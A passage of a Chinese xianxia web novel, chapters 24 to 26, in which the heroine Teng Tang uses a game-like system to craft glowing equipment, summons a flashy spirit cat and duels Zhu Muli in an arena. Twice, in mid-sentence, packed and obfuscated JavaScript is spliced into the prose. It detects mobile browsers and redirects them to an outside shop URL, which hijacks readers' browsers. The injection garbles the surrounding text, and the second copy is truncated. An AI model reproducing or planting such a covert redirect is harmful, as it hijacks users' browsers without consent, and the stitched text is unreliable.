“但你变白炙蟒,他肯定会对你念念不忘,各种找茬。”滕棠有些发愁。 “那玉佩是稀少的仙品石材。” 凌云抚摸了下自己的食指,那儿本该箍着一个黑环,里面藏着他数不清的珍物,然而此时却绕在龙傲天食指上,致使他做什么都不方便。 身为冥无之主,刚才竟为一块石头,用神魔幻术骗人…… “什么?!你怎么不早说!”滕棠吃了一惊,愣在原地须臾,随即懊恼地拍了下凌云:“你刚才可以悄悄告诉我呀,那我肯定会配合你演戏。” 凌云见她这么后悔,心里好受了些,于是提起方才的战书:“你能胜过朱牧隶?” 他不是不信滕棠,而是不清楚她真实实力,以及藏着的秘宝是何物。 他说着,侧过半边身子,手臂穿过长长黑发,食指按在滕棠眉心上,闭目探了一会儿:“你精神力至多用一次,且在一臂范围内。朱牧隶宝物众多,攻守兼具……” 滕棠打断她的话,将她的手拿开,信心十足地道:“不用担心,我一定能胜。” 她一想到[雄霸天下]的奖励,嘴角便控制不住地上扬,眉眼柔润,好似想到什么超级开心的事。 24. 第 24 章 凌云对滕棠的身份来历愈发好奇。神龙之眼,连神器波动都能捕捉,他不信滕棠身上有比神器还厉害的事物。 “你要去试炼之地?” 凌云问完,转瞬想通:“逃去上层乃懦夫所为,懦弱之人难成大事。灵契以天道为公,符契以灵力为剑,违者皆无好下场。” “谁说我要逃。” 滕棠踏进第四区域,望着满目疮痍的土地,蹲下身捻动暗红的土壤:“我来看看这里长什么样,三场试炼怎么闯。” 凌云大为不解,眼下最紧急之事乃是与朱牧隶的切磋,而不是来看仙塔试炼。 “莫忘方才的战书符。”他想起滕棠偶发癫症。 朱牧隶不是一般的炼气七层修者,其灵力扎实,非丹药强行提升,全身数十件下等灵器,腰间的玉佩更是斩不断的仙石。 即使滕棠的灵力再浑厚,那把铁刀再耐用,也不可能打败朱牧隶。 以朱牧隶那副小人嘴脸,切磋时必然下重手,滕棠中途不死,比试完符契消失,万一她丢命,含恨而亡的还有自身。 凌云上前两步,低头规劝:“我寻人来助你,六日后对方假扮你与朱牧隶切磋,你幻为对方身上饰物,到时切勿反抗。” 不死魔龙的幻形术用在他人身上,极其消耗精力,目前是最万全的办法。他这具分-身在炼气四层巅峰,六天的时间应该可以突破到炼气五层,加上筑基的分-身,打败一个朱牧隶是轻而易举的事。 岑云岭在为滕棠生死忧虑,当事人却若无其事地摆手:“不用,我自有办法。” “什么办法?”他愣住。 滕棠找个坑,布好灵阵,盘坐在内,闭上双目,镇静道:“努力修炼。” 试炼之地有四个大阵,从左到右依次分布,左边三个冒红光,只要踏入便会进到试炼之中,最右边的冒白光,身上印记足够者,踩入能传送到仙塔上层。 滕棠摸清楚这片地带后,暂时不打算进去。她最近几天,虽然走路和休息时都在修炼,但修炼的进度未达到她的预期。 五灵根在升阶方面,确实比其他修者更难,和四灵根之间都有鸿沟,莫说和单双灵根相比。她此刻放在最前头的事是修炼,不是和朱牧隶干架。 赢得[雄霸天下]的大奖,灵石足够打造一套普通装备,滕棠看过预览数据,和下等灵器是差不多的。 这意味着五天后,她的装备不输朱牧隶,再加上套装附赠的技能和伤害,系统固定时间恢复的灵力条。她和朱牧隶,谁胜谁败还说不定。 她甚至可以去妖魔森疯狂打怪升级,在六日后以更强的灵力与对手切磋。 但在滕棠心中,系统始终是外力,她一直惦记着自身的修行。人对容貌有种执着,她也不例外。想要在衰老前,驻守现在的模样,则需要牢牢把控进度,缩短时间疯狂锤炼自身,早日冲破筑基的枷锁。 如果年逾四五十筑基,或者年过三百年凝丹,超一千年结婴……无论身躯再强,外观上也会迟暮苍老,天地规则使然,不可逆反。 因此于她而言,修行放在第一位,升级放在第二位,赚钱放在第三位,和朱牧隶打架放在最后。 仙塔内有公判、管事等各门派的监管者在,是难得的修行佳地,少有外面的尔虞我诈、腹背挨刀,她惹了朱牧隶,只要平时避开祥天门弟子,少去无人之地,对方不敢拿自己怎么样。 滕棠静静盘坐着,心无旁骛地在大阵外修行。她此时位于一个坑内,附近荒芜,鲜有人经过。 许是一开始内心还未完全静下来,灵阵外有什么动静都会分散她注意力。 凌云弹动一颗石子,骨碌滚到她灵阵边缘,奚落道:“你五灵根体质修行困难,像石头一样一动不动,六日不可能有大的长进。” 滕棠被打扰到,睁开眼。 为避免凌云接连干扰她灵阵,她起身出去,用脚在阵外划了一条线,指着线道:“此乃同桌友好分界线,谁越界谁是小狗。” 坐回阵内,滕棠深呼吸一口,先是放空头脑,冥想了一会儿,其后开始专心致志修行。无论凌云在线外说什么,她都听不见,所有精气神都在体内那股灵力上,一点点打磨肉身,脱俗入灵。 岑云岭见她执意如此,愈发缄默少语。长袖往身后微微摆了下,手中的石子落到地面,发出轻轻的闷响。 他低头,看了眼那道没有灵力波动的浅沟,犹豫半晌,没跨过去。堂堂魔神,怎么可能去当小狗? 一抛衣摆,他亦盘坐在地,开始修行,好让滕棠知晓什么叫做天赋。她六日寸步难行,他六日健步如飞,突破炼气五层是水到渠成的事。 无形的较量在这处大坑内隐隐冒头,灵气汇聚,红泥翻动,试炼之地的这一隅沙石纷飞。 灵气不断涌进两人体内,凌云化灵气为魔气,压缩成粒堆为经脉,以助魔身成形;滕棠则是引灵气冲刷血肉,破除经脉淤塞,体内看起来毫无变化。 就这么安静过了五天,滕棠睁开眼,把身上的锤炼出来的杂质除净,舒爽地起身活动四肢。 在脑海里签完[每日登录],她转过身,对盘坐的凌云开始分享游戏内容,好拿那点蚊子腿奖励。 她的声音惊醒了凌云,对方睁开诡谲墨黑的双眼,声音清冷:“明日比试会有人助你,无需担忧。” 滕棠不知她什么时候出去找人帮自己,有些讶异:“多谢姐妹,但我想自己打。” “小狗。”凌云指向那条浅淡的泥线。 滕棠初时未反应过来,低头看到自己 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滕棠,一个上辈子被无数人夸赞聪明、优秀的女子,来到这个世界后,继废物、魔人,又多了个“疯痴”的形容。 她免不得发表感言:“世间有人谤我,我要忍她”,话毕,坐回灵阵内,闭目开始在系统内打造装备。 材料的打造,不像修真界的炼器师,需要耗费大量时间、精力和器材。她只需轻轻一点,就能让精铁变装备。且装备是可升级变强的,无需丢弃,后续是个叠加过程。 熔合更多精铁,可以增强装备属性,但此举是土豪行为,性价比不高。 像她这种穷人,应该把钱留着,买高级材料熔合,升级旧装为新装,在旧有属性不变的基础上,增加新套装属性。 目前精铁凑齐700块,可以打造一套[初级·暗影],穿戴后附赠技能[暗影流光],自带特效[流光]。 使用技能[暗影流光],挥刀时,刀光一分为二,增加一道递减50%的二次伤害,技能持续时间1分钟,冷却5分钟。特效[流光]没什么用,仅是为了好看,让装备表面闪动光芒。 [暗影]是玩家打造的第一套装备,并不厉害,即使放在修真界,也是些下等灵器。但对滕棠来说,能对付朱牧隶就行。 下个阶段凑齐700个血石,熔合旧装,可以升级成[初级·饮血]套装,就有两个技能[暗影流光]+[饮血狂暴],两个特效[流光]+[血气]。 到时候登上仙塔三层,炼气期的她,面对筑基期弟子,也有自保的能力。 滕棠开心地点击[打造],挨个把空格子的装备制造出来,耳环、项链、内衣、上衣、手镯、戒指、腰带、裤子以及鞋靴。每穿戴一个格子,系统外她身上就多一件实物。 25. 第 25 章 凌云秉守界限,于泥线外,不可思议地看着她焕然一新,从土包子变成闪闪发光的黑衣人,浑身上下充满有钱人的气息。 滕棠换了套黑衣行头,从头至尾无一不在发光,每一处都有固定的浅灰白光闪动,像规律荡漾的水纹,亮得他移不开眼。 此时,滕棠还不知道外面发生了什么,她沉迷打造,把十个格子填满后,开始把精铁熔合进主武器。 系统界面上,普通的大刀和小飞刀被火光包围,上方坠落百块精铁,经一把锤子敲打,颜色渐渐变黑,不到十秒就提示完成。最顶端两个格子中,玄黑闪亮的三把刀,便是她的全新武器。 [初级·暗影]套装打造成功,滕棠掀开眼皮,映入眼帘的是凌云那张冷冰冰的脸。在对方眼里,她看到了一圈倒映的亮白光点,跳动着,闪烁不停。 她低头,身上数道灰白的浅光冲入双目,非常规律地从左至右流动。脖子上的绿松石项链更甚,泛青的光快把她的脸给染绿。 滕棠沉默了两秒,双手遮眼。 好亮,怎么这么亮……明明是很普通的黑衣外观,和夜行衣很像,但布料就是有光流动,看起来十分怪异。 然而装备特效不是环绕物特效,无法取消或者关闭,她想保命,就必须接受这个事实。 滕棠花了好一番功夫,安慰自己别在意他人眼光,衣饰都是身外之物,做足心理建设后,才把手放下来。 这一刻,她还没体会到虚拟物品变实物的真正冲击,身上装备虽有流光,但初级装备的特效太弱,和灵力的光差不多,完全可以忽略。往后打造出更加酷炫狂霸拽的装备时,她才知道什么叫“魅力”,亮瞎别人的同时,亮瞎自己。 “你有何秘宝?如此奇特。”凌云等了许久,不见她说话,于是按捺不住,出口询问。 他看得出,滕棠身上的东西都不是俗物。即使他炼器这么多年,也没有能力用低等器材制作出这么完美的物件,没有杂质、灵力波动规律,每根线粗细一致,还自带流光,这世上有几个炼器师能做到? 滕棠暗忖,说出来你会信吗。她们虽有生死之契,但友谊还没达到互相信任的地步。且她并不想暴露系统的存在,少一个人知晓,多一分安全感,怕就怕有人试图开她脑袋,意欲挖走系统。 她委婉道:“每个人都有秘密,你肯定也有。能说出来的,就不叫秘密了。” 凌云思索良久,点点头,回到自己位置继续冲破炼气五层。 空气安静了好一会儿,滕棠没想到她真掐死了好奇心,不再追问,于是感到惊讶:“你不好奇了?” “你会说予我听么?”凌云闭着眼睛问。 滕棠口讷:“不会。” 气氛再次沉默,两人心照不宣地中止交流,各做各的事。一人打坐突破层级,一人在脑海摸索新事物。 滕棠打开[坐骑],望着[限定·热气球]发呆,完全不敢点,这东西太现代奇特了,拿出来绝对是道亮丽的风景线。高50米,直径30米,色彩艳丽,仔细看,球囊上面还打了广告:[热血岁月,伴你翱翔。] 修真者要么御剑飞行,或要么乘灵舟、妖兽,体积不会太大,她这庞然大物,过于招摇了些。 滕棠时常提醒自身,做人要低调,切忌招人厌恨,这热气球完全打破她做人守则,不符合她行事风格。 经过深思熟虑,她决定靠脚走路,不到万不得已,绝不动用热气球。 她又点开[灵宠],看着界面上发出九色光芒的Q版小猫,再次犹豫要不要放出来。 [雄霸天下]每年出一次,是游戏里最大的赛事,第一届办得很寒酸,送的限定物品却很拉风。 热气球和九色猫在游戏里,一个在天上吸引玩家羡慕的目光,一个在地上使玩家嫉妒。滕棠没见过热气球,曾经点开榜一的信息栏,饱过九色猫的眼福。 那时她做梦都想拥有一只,奈何她没钱没实力,且灵宠的功能50级才开,贫穷玩家,唯有点开土豪的信息解馋。 犹豫半天,滕棠没抵过猫咪的诱惑,把[限定·九色猫]召唤出来。 刹那间,坑内光芒大盛。滕棠恍惚看到颗KTV内的迪斯科彩球,圆滚滚地落在她脚边,赤橙红绿青蓝紫黑白,九种颜色的猫毛一闪一闪,绕着她的腿打转。 岑云岭陡然睁开眼,朝她方向护来,误以为有人暗杀她。 [喵~] 一声喵叫,让他停在泥线外。“何物?”彩光太强盛,他不得不眯眼看向滕棠脚边。 圆润饱满的Q版猫,长得很不真实,猫眼睛大得出奇,几乎霸占了大半张猫脸。头大、身体小、尾巴粗,四肢短得几乎看不见。 滕棠在游戏界面上看,觉得它好可爱,真召唤出来了只觉得刺眼!吓人! 尤其是那双九色猫眼,有拳头那么大,九种颜色分布均匀,像两颗发光的彩色灯泡。 滕棠手掌朝下,遮在眉毛处,忍着不适蹲下身,摸了摸她闪瞎人的九色猫。灵宠据说有智能AI,不知道到哪种程度。 “这到底是?”凌云惊疑不定,双目略睁,瞪向滕棠脚边的彩光球。 “我的猫。” 滕棠到处挠,每挠一个地方,猫就叫一声。她观察片刻,得出结论。不是智能AI,是智障AI。灵宠固定打滚5秒,舔爪子5秒,摇尾巴5秒,过来蹭主人腿5秒,喵叫两声,然后不停重复这些动作。 “你称这是猫?”凌云质疑她。 这怎可能是猫,什么猫长这样。他活了上万年,见过数不清的妖魔鬼怪魑魅魍魉虫兽生灵……详知世间每一个物种,从未遇到过如此彩光绚丽的大眼圆猫。 滕棠把猫抱起来,冲他[喵~]了一声,反问:“不是猫还能是什么?你没见过不代表没有。” 凌云挥袖,把脚边的分界线清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032684|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除,被光芒亮得觑起眼,走过去抬手,隔空用魔气碰了碰猫头上的软毛。 是猫,但又不像猫。或许是灵猫杂交出来的奇异物种,大千世界无奇不有,谁知万物发生了什么。 他在心中感慨一番,被彩光闪得不适,偏过头问:“为何能耀射出如此灿亮的光芒?” 这就不好糊弄了。 滕棠召回[九色猫],讪讪道:“大概是天赋异禀。” “是么?” “是这样的。” 凌云见套不出来话,只好作罢,暗自猜测滕棠可能给灵猫吃了什么发光的宝珠,导致灵猫有这般彩光。 滕棠感恩对方就此打住,头疼地抓了抓头发。灵宠可以加战力,帮助主人作战,这以后想给猫升级,还得找个无人的地方打怪。 现在热气球有了,太张扬,她不敢用;猫有了,太花哨,她不敢叫出来。这两样大奖揣在兜里,可真令她郁闷。 滕棠失落了一会儿,转头开始研究[暗影]套装技能。她把沉重墨黑的大刀拿出来,对着空气挥舞。 岑云岭见过九色猫之后,对大刀变黑变亮的接受程度显然提高,一字未发地看着她在那边乱砍。眸光游移,琢磨着滕棠从哪里变出来的这些东西。 滕棠的储物袋,他曾待过,里面空空如也。滕棠其余地方并没有灵器波动,她身上的物品和手里的武器,似是凭空出现,无法追寻来源。 想了许久,岑云岭摇摇头,想不通。罢了,她这满身灵器,不输朱牧隶。 砍了几次都没使出技能,滕棠停下来,在脑中左点右点,找不到技能使用方法。难道在修真界不能用? 她把技能[暗影流光]又看了一遍,盯着最上方的文字发呆,产生一个不好的想法。 既然分享转发需要念出口,那么技能是否和游戏角色一样,需要边打边念…… 不会吧不会吧,系统不会这么狗吧。 滕棠开始忐忑不安,退出来和凌云商量:“你能不能先离开一下?” 凌云拒绝:“不行。”如今滕棠的命就是他的命,即使怨恨,也必须保她安危。 “那你能否把耳朵堵一下?”滕棠语气温婉。 凌云不知她要做什么,解衣他可以回避,捂耳是为何事。他思考了下,犹豫地问:“可是肠胃不适?” “不是……”滕棠不知道怎么给她解释。 她握大刀的手微微颤抖,心想都跟凌云分享好几次了,对方冰山脸都没变过,自己还在意什么。技能台词是怪了点,但总要见人的。 现在是在一个人面前念,要是真的需要念才能使出来,想想站在擂台上,当着那么多人念,才是社死。 滕棠深呼吸一口,挥舞大刀,小声念叨:“颤抖吧!我的刀无人能敌!暗影流光!” 五色刀光飞出去,眨眼一分为二,变成两道刀光。 滕棠羞耻地哭了。 26. 第 26 章 这个事实令人难以接受。 “唰唰”的挥刀音效,影响不大,但触发技能的台词内容,充满挑衅的意味,龙傲天说出来没事,她要是对着别人念,怕是嫌命太长了。 如果不发出声,只动嘴巴能使出技能吗? 滕棠抬头,嘴巴一张一合默念着台词,对准前方接连挥出两刀。 刀光无声无息陷进坑壁,中途并没有分裂出额外的一道伤害,两刀都是普通攻击,尝试失败。 滕棠深吸一口,声音从无到有,一刀刀砍过去,越念越大声,直到凌云能听清时,空中突然爆发两声“唰唰”刀响,打出[暗影流光]的二次伤害。 技能开始冷却,滕棠大致摸清这是个声控技能,念清楚后系统才能识别出来。 她停下动作,转头问凌云:“你觉得我新学的刀法怎么样?”其实是想问她这样会不会显得怪异。 倘若有其他人在,十有八-九听不惯滕棠的狂妄言词,对她指指点点。 但凌云差不多已习惯她发疯,加之刚才的换装秀和九色灵猫,此时的滕棠在他眼里,还算“正常”。且他的双目比绝大多数人敏锐,观察到滕棠的刀法很诡异。 方才挥出去的两刀分明灵气既定,临到土壁陡然一分为二,上面的灵力未变,下面无端分出来的第二道竟有上面的一半。 不加掩饰的刀力,不吸纳空中灵气,蓦地凭空多出一道刀光,这究竟是如何做到的,岑云岭百思不得其解。 怔怔半晌,滕棠还在等着他答复,岑云岭回过神,看向她手上的刀,面无表情地中肯评价:“有些吵。” “你是说我还是我的刀?” “都吵。”凌云沉吟片刻,指向她的刀:“刀声对等速度力道,此灵刀炼器中途添锤月珠、响石,逞假威风,虚浮夸张。” 一听是刀,滕棠松了口气。 凌云评完白光闪动、音效过假的刀,停顿两秒,话锋一转,委婉提点滕棠:“初学刀法,自吹自擂易遭人笑话,对方并不会因你话而颤抖。动作生涩笨拙应当多练,少自我陶醉为妙。” 这段指的她技能台词了,短短三句,不知天高地厚。 “这。”滕棠张了下嘴,紧接着抿住,脸颊隐隐泛红。 之前还说龙傲天和凌云目中无人,到头来自己竟是言辞最张狂的一个。 这还只是低级装备,音效朴素,台词简短。一想想往后的装备,高亢豪华的“咔咔”、“铛铛”声,一大串的霸气台词,更有自带战斗BGM的神级套装,动次打次起来,那震耳欲聋的声响和老子天下第一的台词,能拿出来见人吗。 救命,哪里有面具卖,她发誓,戴脸上绝不摘下来。 “我刚才的话是不是很容易激怒对方?”滕棠小心翼翼地问。 对面的人点头,手上变出一本书籍,递给她:“我勉为其难收你为徒,念你出身低微,这本心法拿去,将其倒背如流,戒骄戒躁,五灵根修行困难,却并非没有飞升的希望。” “你打不过我,还想当我师父,想得美。”滕棠一刀回拒。 她话音刚落,就见凌云头上积聚了一个小漩涡,坑内的灵气几乎都朝对方头上涌。 那漩涡渐渐变小,在快消散之际,凌云头上的[4级]变[5级],眨眼间冲破层级,轻而易举像随手摘了片叶子,没有丁点难度。 “想当我徒弟之人犹如过江之鲫。” 修长的手指在空中拂过,五枚玉简飘浮而出,拙朴得像路边捡的石块。 凌云推到滕棠面前,露出些煞神的尊面,自矜地微抬下巴,对她道:“皆为仙级刀法,你可任意挑选一枚。” 仙级刀法何其珍贵,整个明月大陆都找不出几本,凌云一出手就是五种,难以置信。 滕棠没接他话,半信半疑招下一枚,贴额头上,粗略读了个开头,在脑中演练第一式刀法。 这枚是仙级中品刀法,第一式——掼长刀,先磨炼肉身习会动作,再悟通心法,二者结合,以灵气为媒介掼出长刀,快速杀向敌人,速度与威力能增强五倍。 滕棠放下玉简,扔到半空中,在脑海中打开系统,神情再次变得呆呆傻傻。 岑云岭见其痴傻模样,以为她被仙级刀法震撼到。他的身份来历,可不是常人能猜到的,随便拿一样心法出来,天下修者俱求而不得。 滕棠并不知自己用系统时,五官表情会变得很呆,她点开[装备],预览各套装的伤害,发现[暗影流光]+[饮血狂暴]+[冰封雪飘]+[昼焰焚火]四个技能,或者单独打出第五套装备的技能[屠龙斩],和第一式掼长刀的伤害相等。 区别在于,仙级中品刀法需要花费大量时间精力去学,每个人悟性天资不同,不一定学得会,而她的装备技能,只需氪灵石、念台词触发,便能立马打出来。 是选择花时间去练这个世界的刀法,有可能学不会,还是愿意努力赚钱升级装备,厚起脸大喊台词,滕棠这次没有犹豫,睁开眼把所有玉简推回去。 普通刀法,学完需要成百上千年,更别说仙级心法,她耗不起。在年轻貌美和脸面之间,她决定抛弃羞耻,落落大方地念出那些技能台词。 “没想到你这么慷慨,不过我已有仙品刀法,学驳杂了不精。” 滕棠不得不重新打量凌云,更加怀疑她是龙傲天的后宫之一,且戏份不少那种。随便拿出五枚仙级玉简,单天灵根,容貌冷丽卓绝,在前期和男主有矛盾,这出场比自己牛多了。 说凌云是女一,滕棠都相信。 仙级刀法被推回来。岑云岭表面若无其事地收回玉简,好似不在乎滕棠要不要,召动玉简的指尖却暗中轻颤,泄露他五味陈杂的情绪。 在滕棠给他表演完无中生有——超级变装秀、稀世奇宝——九色彩光猫,以及神乎其技——凭空生出第二刀后,活了万年的魔尊,开始反躬自问,是不是他被镇压封印时间太长,导致见识短浅,不知世间万物变化。 滕棠对仙级刀法无所谓的一推,让岑云岭表情难看了那么瞬间,以往皆是别人挤破头想拜他为师,亦或想方设法窃其宝库,第一次遇到不要之人。 他表面维持着淡定,盘坐到另一侧修行,末了喁一句:“勿谓言之不预,仙级刀法世间罕见,你往后问我要,再无此良机。” 滕棠正为音效台词发愁,没太在意他说什么,“嗯嗯”应了声,在角落独自研究怎么趋避利害。 两人短暂地交流了一小会儿,再次冷场,友好分界线虽被凌云抹除,但好像还存在他们之间,谁也不看对方。凌云开始习心法,悟神魔万象第九式,滕棠则是继续修行,以期早日完成短期目标——炼气第三层。 翌日,和朱牧隶约定的时间已至,滕棠清干净一身泥灰,穿着鹿焰宗外门弟子的浅灰衣衫,去擂台区赴约。 有名鹿焰宗弟子不知好歹,挑衅祥天门的消息,早不胫而走,今日擂台区比往日还要热闹。人多到这片区域没有空处,放眼望去,全是没事干的闲人。 滕棠来得稍晚,在边缘就听到许多人说她不敢迎战,临阵逃跑了。她轻咳一声,喊道“让让”,往人最多的一处挤。 凌云身边倒是没什么人,自带的冷气让弟子不敢靠近。 等待多时的朱牧隶不耐烦地坐在台上,见白炙蟒和滕棠赶来,自言自语:“早知今日师姐要来,六日前不该结符契,两招把一个女人打下去,师姐在台下看着,坏我脸面。” 朱牧隶似有所感,向身后看去。一个穿白袍金纹的女子端坐中间,被几名祥天门弟子簇拥,朝他笑了笑,身上的云纹绣满四分之二,地位在中等。 女子是朱牧隶的师姐,亦是陆诞的亲姐姐,名为陆椛,得知弟弟在一层被人一招打下台,今日特来坐场,看看何人这么嚣张。 滕棠样貌出众,柔柔弱弱的仿佛一阵风便能将她吹倒,那日接连横扫对手,气势豪强,令在场大多数人都记得,大喊着“人来了”,给她开道。 她登上台,提着一把墨黑发亮的大刀,浑身光芒流动,虽从头至尾都是黑色,却因太闪亮,竟和绣金丝的朱牧隶不相上下。 “总算来了,我还以为你夹着尾巴逃了呢。”朱牧隶起身,手里的灵剑换了一把,更加珠光宝气。 凌云在台下有些担忧,龙目所见,朱牧隶手里那把是中等灵器,灵力波动非凡,滕棠这一战恐怕不好打。 那把剑镶了多颗稀有宝珠,是个普通人都能看出来价值不菲。 滕棠暗叫糟了,祥天门弟子真有钱啊。她不敢托大,万事小心谨慎是真理,在开打之前,为避免中途出现意外,她到台边问凌云:“你的灵石能否不押注,全借给我?有多少借多少。” 灵石是有,但这具分-身所携带的不多,都是上次从龙傲天手里夺来的。灵石对现阶段的凌云没多大用处,在仙塔内他一不交易,看不起塔内的东西,二不吸收灵石,靠空中灵气弥补即可。 他把所有灵石拿出来递给滕棠,告诫道:“比试切磋,可更换灵器,但不能吸收灵石、服回灵类丹药,规则你应该知晓。” “我当然知道。” 滕棠先抠抠搜搜地给自己押上10块中品灵石,把储物袋里剩下的放进背包,自动转换成财富值后,竟有五千多中品灵石。 蹲在擂台边缘,她激动地把手搭在凌云肩膀上,就差涕泗横流:“太感动了姐妹!你人真好!” “磨磨蹭蹭的,到底敢不敢应战?你那天的胆子呢?”朱牧隶烦躁道。 滕棠正在加急升级武器,没空回话。部分折扣算下来,她痛心花费四千七百购买血石,把副武器[暗影·飞刀]升级为[饮血·飞刀]后,才准备充分,朝公判点头。 先用大刀上,实在不行就加飞刀。她灵力比朱牧隶多,装备增强了副武器,现在仅身法比对方差一点。 “这不来了么。”滕棠率先朝他挥去一刀,试探根底。 朱牧隶不愧为祥天门内门弟子,身手了得,极快地侧身躲开,手里的灵剑脱手,游蛇般捉摸不定地朝滕棠袭来。 滕棠以刀横档,铛铛的刀剑相击声持续激烈。灵剑攻击速度越来越快,滕棠忽然发现,朱牧隶在御剑刺她的同时,还能分神用左掌向她出招。 这一点,大多数剑修都做不到。且朱牧隶很有策略,在灵剑逼迫她朝擂台边缘躲去时,浅淡的蓝绿色掌印突然打来,正中她跨腿的方向。 她只要再挪过身子,就正中下怀,进入掌印的攻击范围。底下众人屏息凝神,一脸惊恐地后退,仿佛下一秒滕棠会血肉横飞,洒他们一脸血。 见此,滕棠只好和他一样,分出心神,招出两把飞刀,将那道掌印划破。 “唏——”黑红的两把飞刀交叉飞动,表面白光忽闪,绕着暗红的血气,尖端偶尔滴落血滴,散发不详的气息。 [暗影·飞刀]锤入百块血石后,厚度不变,重量变了,用灵力御使起来更加滞缓。 好在飞刀伤害增强不少,对付朱牧隶一道灵力掌印不成问题。且附带[概率饮血]效果,和人对战时,有一定几率饮对方的血量,反补自己的血条,量不多,胜在好用。 刚才运气不好,并没触发武器效果,滕棠为了省灵力,破开朱牧隶的掌印后,便把飞刀召回,挂在腰上,用大刀继续和灵剑对峙。 大概打了五分钟,她身上破了几个口子,而朱牧隶站在对面一步未动,除了脸上的汗,身上没有一点伤口。 她忽然明白为什么绝大多数人在武器上选择剑。不仅是好看,灵剑轻盈锋利,既可御剑远攻又能持剑近战,若她找到机会砍朱牧隶,对方腰上还有珠光宝气的剑鞘抵挡。 她的大刀宽长沉重,若以灵力御使,没有剑快,而手握时只能挥扫周身范围,刀背厚实不能伤人,刀尖需判断准确对手所在方位,而刀锋更要借助力道,一举砍灭对手气势。 不好办,朱牧隶比她想象中强。 剑来刀挡,掌来飞刀破,滕棠招架得住朱牧隶左右手的攻击,但无暇出招,更没有机会近身。 十分钟内,有一次陆椛在台下气问:“怎么回事?还没把那女人杀下台。”在朱牧隶分心时,被她寻到机会,几步过去挥刀,却遭剑鞘挡下。 朱牧隶灵力浑厚,非灵药提升,打到现在,他双脚一步都没撼动。 “该死的!”朱牧隶大骂一句,眼看时间越来越长,他内心急切,在衣袖遮挡下,掏出一玉瓶,咕噜喝下不明液体,攻击更加密集起来。 切磋不能吃灵药,这是规则。 滕棠嗅到一股药味儿,分不清这是什么灵药,转头对公判道:“他刚喝了灵药!” 台下嘈杂,她忙于接招,无心去聆听他们在说什么,只听到公判十分不公允地答道:“不曾见到,驳回。” “眼睛不好使,鼻子也不通吗?” 滕棠侧耳细听台下的声音,才得知这公判是祥天门的人,胳膊当然往朱牧隶那边拐。 过了会儿,她发现朱牧隶头上的[7级]变[10级],顿时傻眼,这喝的什么东西,等级暴涨这么多。越往后修行越难,朱牧隶提高的三层能抵过他前面七层。 对滕棠来说,就像从困难关卡升为地狱关卡。 越是这种情况越要保持冷静,滕棠迫使自己静下心,一边抵挡更加迅猛的攻击,一边想办法怎么应对现在的情况。 渐渐地,她身上的口子越来越多。 台下的人惊异她能坚持这么久,佩服不已,但不抱希望,都认为她马上会败下阵来。仅凌云看出她身上伤多,却都是皮外伤,体内灵力只少了一成。 朱牧隶喝下药后,攻击的速度和力道都有加强,且灵力增多后,每一剑都能伤及她性命。 不就是喝药么,我也喝。 滕棠在即将招架不住的时候,后退一步,大刀和飞刀同时挥使,抵挡之余,快速在背包内点击[使用],比朱牧隶更隐蔽地用回血丹、血肉增强液。 用完两样东西后,身上的伤口恢复大半,留了个皮伤让人不多想,体力和耐力皆有所增强。 她还有个技能未拿出来,算了下,如果触发后三刀同用,掐准冷却时间,或许能得到一丝喘息机会。 滕棠长长呼出一口气,开始肆无忌惮地大念台词:“颤抖吧!我的刀无人能敌!暗影流光!” 大刀“唰唰”砍出两道五色灵光,将灵剑反弹回去,两把飞刀则旋出四道血红的圈,不仅破开掌印,还朝朱牧隶直直飞去。 朱牧隶大惊失色,连忙用剑鞘阻挡,大骂:“凭你?还想让我颤抖?今日不使你半死,我从此以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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滕棠三把刀在他左边、右边和身后砍,叉掉系统的提示:[温馨提示,您的伤害过于刮痧,点击‘购买升级礼包’] “这一招叫……”滕棠忽然加速,三把刀眼花缭乱地砍向他的剑、剑鞘和玉佩光幕上:“疯狂刮痧。” 数不清的红色伤害打在护体光幕上,偶尔有[-4][-9]等小数字透过光幕,在朱牧隶身上形成伤害,再加上两把飞刀的[饮血]效果,朱牧隶承受到的伤害虽微不足道,但只要累积到一定程度,大树也会被蚂蚁啃倒。 朱牧隶见势不对,再次寻机偷偷喝下一瓶药水。看灵剑表面的灵力,应该是恢复灵力的药物。 滕棠卯足劲狂砍,仙石做的护体灵器她无可奈何,公判她也不能指望,她胜在有灵力条和精神力做支撑,完全能跟朱牧隶耗。 她不信朱牧隶有药的同时还有精神力,凌云和她说过,识海的开辟是元婴期修者具备的能力,常人很难在元婴期以下凝出精神力。 她这一丝,不管是修炼还是对敌,都大有妙处。 时间一点点过去,底下的人都喊累那句“她快败了”的话,听着滕棠又开始大喊“颤抖吧”时,不少人还真颤了下。 “她怎么还能坚持?”有人问道。 “对啊,朱师兄服用飞羽液和回灵液都不能将她打败,她真的是炼气二层吗?” 陆椛坐不住了,从一开始淡定到现在起身,走到擂台边缘对公判喊:“这女人服了灵药。” 凌云看了那边一眼,轻声讽道:“到底是谁喝灵药?明眼人皆看得见。滕棠双手持刀,身着紧身衣,如何喝?不像某人偶尔以长袖遮挡,药味冲天。” 滕棠专心致志地在台上砍朱牧隶,暂分不出心神管台下的事,她疯狂刮痧,像削树皮似的,盯着朱牧隶三面开刀。 朱牧隶和她对视了一秒,有瞬间产生自己是条鱼,而滕棠在刮他鳞的错觉,吞咽口水,心脏跳得急促。这女人打哪儿冒出来的,即使是五灵根,炼气二层也不可能这么强。 大约一盏茶时间过去,滕棠刮着刮着,正上头之际,朱牧隶忽然失血过多、两眼冒黑,砰地一声,脸朝地直直倒下。 最怕空气突然安静。 连滕棠都没反应过来,他怎么这么不经刮,突然间就栽地了。 